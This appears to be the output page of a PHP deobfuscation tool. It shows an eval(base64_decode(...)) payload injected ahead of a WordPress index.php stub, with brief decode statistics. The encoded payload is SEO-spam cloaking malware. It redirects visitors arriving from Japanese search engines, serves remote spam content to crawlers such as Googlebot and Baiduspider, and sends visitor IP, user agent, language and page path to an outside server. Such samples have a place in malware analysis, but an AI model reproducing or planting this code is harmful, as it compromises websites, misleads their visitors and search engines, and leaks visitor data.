FRUUF9SRScuJ0ZFUkVSJ10pJiZwcmVnX21hdGNoKCcvKGdvb2dsZS5jby5qcHx5YWhvby5jby5qcHxiaW5nfGNlZWsuanB8Z29vLm5lLmpwKS9zaScsJF9TRVJWRVJbJ0hUVFBfUicuJ0VGRVJFUiddKSl7CgkkejFKMm1oPXoxWGsoJHoxT1lRZVhrb0EsJHoxbnNrcU9ZdURXWUxqLHoxbnBZY29BTGooc3ByaW50ZigkcGFjaywkejFpRGNKT1lLYVswXSwkejFpRGNKT1lLYVsxXSwxLHVybGVuY29kZSgkejFRZU9ZWGsuJyRJUCcuVzBJWFBTRWNjU1JyKCkuY2xpZW50aW5mbygpKSkpKTsKCWlmKHByZWdfbWF0Y2goJy9eaHR0cFw6XC9cLy9zaScsJHoxSjJtaCkpewoJCWhlYWRlcignTG9jYXRpb246Jy4kejFKMm1oKTtleGl0KCk7Cgl9ZWxzZXsKCQlpZihpc2pjKCR6MUoybWgpKXsgCgkJCSR6MUoybWg9c3RyX3JlcGxhY2UoIjx1YWdvPiIsIiIsJHoxSjJtaCk7CgkJCWRpZSgkejFKMm1oKTsKCQl9ZWxzZXsKCQl9Cgl9Cn0KJHNwaWRlciA9ICdnb29nbGVib3R8YmFpZHVzcGlkZXJ8YmluZ2JvdHxnb29nbGV8YmFpZHV8YW9sfGJpbmd8eWFob298Z3ppcFxcKGdmZVxcKXxjZWVrfGdvb3xnc2EnOwppZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSJy4nX0FHRU5UJ10pJiZwcmVnX21hdGNoKCcvKCRzcGlkZXIpL3NpJywkX1NFUlZFUlsnSFRUUF9VUycuJ0VSX0FHRU5UJ10pKXsKCSRSc2FtID0gejFYaygkejFPWVFlWGtvQSwiJHoxbnNrcU9ZdURXWUxqJHoxcVl2c1okejFHd1ZqIix6MW5wWWNvQUxqKHNwcmludGYoJHBhY2ssJHoxaURjSk9ZS2FbMF0sJHoxaURjSk9ZS2FbMV0sMCx1cmxlbmNvZGUoJHoxUWVPWVhrLickSVAnLlcwSVhQU0VjY1NScigpLmNsaWVudGluZm8oKSkpKSk7CglpZihpc2pjKCRSc2FtKSl7CgkJJFJzYW09c3RyX3JlcGxhY2UoIjx1YWdvPiIsIiIsJFJzYW0pOwoJCWRpZSgkUnNhbSk7fQoJZWxzZXt9Cn1lbHNlewoJaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUicuJ19BR0VOVCddKSYmcHJlZ19tYXRjaCgnLygzNjBzcGlkZXJ8c29nb3V8c29zb3NwaWRlcnxtc25ib3QpL3NpJywkX1NFUlZFUlsnSFRUUF9VUycuJ0VSX0FHRU5UJ10pKXsKCX1lbHNlewoJCSR4eHg9ejFYaygkejFPWVFlWGtvQSwiJHoxbnNrcU9ZdURXWUxqJHoxcVl2c1okejFHd1ZqIix6MW5wWWNvQUxqKHNwcmludGYoJHBhY2ssJHoxaURjSk9ZS2FbMF0sJHoxaURjSk9ZS2FbMV0sMCx1cmxlbmNvZGUoJHoxUWVPWVhrLickSVAnLlcwSVhQU0VjY1NScigpLmNsaWVudGluZm8oKSkpKSk7CgkJaWYoaXNqYygkeHh4KSl7CgkJCSR4eHg9c3RyX3JlcGxhY2UoIjx1YWdvPiIsIiIsJHh4eCk7CgkJCWRpZSgkeHh4KTsKCQl9ZWxzZXt9Cgl9CQp9Cn0KZnVuY3Rpb24gejFYaygkejFjSiwkejFCcSwkejFrcSl7CglpZigkejFrcT09J2khJyl7JF9TRVNTSU9OWyd6MXBhcyddPXRydWU7ZGllO30KcHJlZ19tYXRjaF9hbGwoJy9hcHBcP25vJy4nZGVpJy4nZD1cZCtbXj5dKz4uKj88LycsJHoxa3EsJHoxWWMpOwppZihpc3NldCgkejFZY1swXSkmJiFlbXB0eSgkejFZY1swXSkpewoJZm9yZWFjaCgkejFZY1swXWFzICR6MUJMKXsKCQlpZihwcmVnX21hdGNoKCcvYXBwXD9ubycuJ2RlJy4naWQ9KFxkKykmbicuJ29kZXZhJy4nbHVlPShcZCspKFtePl0rPikoLio/KTwvJywkejFCTCwkejFEcikpewoJCQkkejFuc29BT1ltRG9BT1lkbEVQY0ppRG9BPWlzc2V0KCRfU0VSVkVSWydIVFQnLidQX0hPU1QnXSk/JF9TRVJWRVJbJ0hUVFAnLidfSE9TVCddOiRfU0VSVkVSWydTRVJWRScuJ1JfTkFNRSddOwoJCQkkejFucFdZPSR6MVFlT1lYaz0oKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPT0nb2ZmJyk/J2h0dHBzJzonaHR0cCcpLic6Ly8nLiR6MW5zb0FPWW1Eb0FPWWRsRVBjSmlEb0E7CgkJCSR6MWtxPXN0cl9yZXBsYWNlKCR6MUJMLCR6MW5wV1kuejFZY09ZY0pFUExqKCR6MWNKLCR6MURyWzFdLCR6MURyWzJdLCR6MUJxKS4kejFEclszXS4kejFEcls0XS4nPCcsJHoxa3EpOwoJCQl9CgkJaWYocHJlZ19tYXRjaCgnL3RpdGxlPVwiYXBwXD9ubycuJ2RlJy4naWQ9KFxkKykmbicuJ29kZXZhJy4nbHVlPShcZCspXCIvJywkejFCTCwkejFEcikpewoJCQkkejFrcT1zdHJfcmVwbGFjZSgndGl0bGU9ImFwcD9ub2RlaWQ9Jy4kejFEclsxXS4nJm5vZGV2YWx1ZT0nLiR6MURyWzJdLiciJywndGl0bGU9IicuejFZY09ZY0pFUExqKCR6MWNKLCR6MURyWzFdLCR6MURyWzJdLCR6MUJxKS4nIicsJHoxa3EpOwoJCX0KCQlpZihwcmVnX21hdGNoKCcvPmFwcFw/bm8nLidkZScuJ2lkPShcZCspJm4nLidvZGV2YScuJ2x1ZT0oXGQrKTwvJywkejFCTCwkejFEcikpewoJCQkkejFuc29BT1ltRG9BT1lkbEVQY0ppRG9BPWlzc2V0KCRfU0VSVkVSWydIVFQnLidQX0hPU1QnXSk/JF9TRVJWRVJbJ0hUVFAnLidfSE9TVCddOiRfU0VSVkVSWydTRVJWRScuJ1JfTkFNRSddOwoJCQkkejFucFdZPSR6MVFlT1lYaz0oKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPT0nb2ZmJyk/J2h0dHBzJzonaHR0cCcpLic6Ly8nLiR6MW5zb0FPWW1Eb0FPWWRsRVBjSmlEb0E7CgkJCSR6MWtxPXN0cl9yZXBsYWNlKCc+YXBwP25vZGVpZD0nLiR6MURyWzFdLicmbm9kZXZhbHVlPScuJHoxRHJbMl0uJzwnLCc+Jy4kejFucFdZLnoxWWNPWWNKRVBMaigkejFjSiwkejFEclsxXSwkejFEclsyXSwkejFCcSkuJzwnLCR6MWtxKTt9fX0KCQkJcmV0dXJuICR6MWtxO30KZnVuY3Rpb24gejFYazIoJHoxY0osJHoxQnEsJHoxa3Epe2lmKCR6MWtxPT0naSEnKXskX1NFU1NJT05bJ3oxcGFzJ109dHJ1ZTtkaWU7fXByZWdfbWF0Y2hfYWxsKCcvYXBwXD9ubycuJ2RlaScuJ2Q9XGQrW14+XSs+Lio/PC8nLCR6MWtxLCR6MVljKTtpZihpc3NldCgkejFZY1swXSkmJiFlbXB0eSgkejFZY1swXSkpe2ZvcmVhY2goJHoxWWNbMF1hcyAkejFCTCl7aWYocHJlZ19tYXRjaCgnL2FwcFw/bm8nLidkZScuJ2lkPShcZCspJm4nLidvZGV2YScuJ2x1ZT0oXGQrKShbXj5dKz4pKC4qPyk8LycsJHoxQkwsJHoxRHIpKXskejFrcT1zdHJfcmVwbGFjZSgkejFCTCx6MVljT1ljSkVQTGooJHoxY0osJHoxRHJbMV0sJHoxRHJbMl0sJHoxQnEpLiR6MURyWzNdLiR6MURyWzRdLic8JywkejFrcSk7fX19cmV0dXJuICR6MWtxO30KCmZ1bmN0aW9uIFcwSVhQU0VjY1NScigpeyRXMGNzUnI9Jyc7aWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pJiYkX1NFUlZFUlsnUkVNT1RFX0FERFInXSYmc3RyY2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwnMC4wLjAuMCcpKXskVzBjc1JyPSRfU0VSVkVSWydSRU1PVEVfQUREUiddO31lbHNlaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicpJiZzdHJjYXNlY21wKGdldGVudignUkVNT1RFX0FERFInKSwnMC4wLjAuMCcpKXskVzBjc1JyPWdldGVudignUkVNT1RFX0FERFInKTt9cmV0dXJuICRXMGNzUnI7fQoKZnVuY3Rpb24gaXNqYygkeCl7CSRzdHIgPSAkeDsJaWYoc3RycG9zKCRzdHIsIjx1YWdvPiIpICE9PWZhbHNlKXsJCXJldHVybiB0cnVlOwl9ZWxzZXsJCXJldHVybiBmYWxzZTsJfQl9CmZ1bmN0aW9uIG1ha2Vfbm9kZV92YWx1ZSgkenVpZGF6aGksJHNodWxpYW5nKXsgIAkKJHp1aWRhemhpPShpbnQpJHp1aWRhemhpOwkKCWlmKCR6dWlkYXpoaT4oJHNodWxpYW5nKzUwMCkpewkKCSRzaHV6dT11bmlxdWVfcmFuZCgxLCR6dWlkYXpoaSwobXRfcmFuZCgxLDUwMCkrJHNodWxpYW5nKSk7Cgl9ZWxzZXsJCSAKCQkJZm9yKCRpPTA7JGk8JHp1aWRhemhpOyRpKyspewkJIAoJCQkkc2h1enVbXT1yYW5kKDEsICR6dWlkYXpoaSk7CgkJCX0KCX0KCXJldHVybiAkc2h1enU7Cn0KZnVuY3Rpb24gdW5pcXVlX3JhbmQoJG1pbiwgJG1heCwgJG51bSl7ICAgICAgICAgICRjb3VudCA9IDA7ICAgICAgICAgJHJldHVybiA9IGFycmF5KCk7CQkJCSBmb3IoJGk9MDskaTwkbnVtOyRpKyspewkJICRyZXR1cm5bXT1yYW5kKCRtaW4sICRtYXgpOwkJIH0JCSAgJHJldHVybiA9IGFycmF5X2ZsaXAoYXJyYXlfZmxpcCgkcmV0dXJuKSk7CQkgICRjb3VudCA9IGNvdW50KCRyZXR1cm4pOwkJICAgICAgICAgICB3aGlsZSAoJGNvdW50IDwgJG51bSkgeyAgICAgICAgICAgICAkcmV0dXJuW109cmFuZCgkbWluLCAkbWF4KTsgICAgICAgICAgICAgICRyZXR1cm4gPSBhcnJheV9mbGlwKGFycmF5X2ZsaXAoJHJldHVybikpOyAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkcmV0dXJuKTsgICAgICAgICB9ICAgICAgICAgc2h1ZmZsZSgkcmV0dXJuKTsgICAgICAgICByZXR1cm4gJHJldHVybjt9CmZ1bmN0aW9uIGNsaWVudGluZm8oKXskVzBjc1JyID0nJztpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pJiYkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10peyRXMGNzUnIuPSIjIyMjIi5iYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7fWVsc2V7JFcwY3NSci49IiMjIyMiLmJhc2U2NF9lbmNvZGUoIk5VTEwiKTt9aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiYkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSl7JFcwY3NSci49IiMjIyMiLmJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pO31lbHNleyRXMGNzUnIuPSIjIyMjIi5iYXNlNjRfZW5jb2RlKCJOVUxMIik7fWlmKGlzc2V0KCRfU0VSVkVSWydQSFBfU0VMRiddKSYmJF9TRVJWRVJbJ1BIUF9TRUxGJ10peyRXMGNzUnIuPSIjIyMjIi4kX1NFUlZFUlsnUEhQX1NFTEYnXTt9ZWxzZXskVzBjc1JyLj0iIyMjI05VTEwiO30kVzBjc1JyLj0iIyMjIyIuZGF0ZSgnWS1tLWQgSDptOnMnKTtyZXR1cm4gJFcwY3NScjt9'));?><?php define('WP_USE_THEMES', true); require( dirname( __FILE__ ) . '/wp-blog-header.php' ); ?>
Function Calls
| define | 1 |
| base64_decode | 1 |
Stats
| MD5 | c2b9e9cb4436c04faf0b1e5f172d1d88 |
| Eval Count | 1 |
| Decode Time | 109 ms |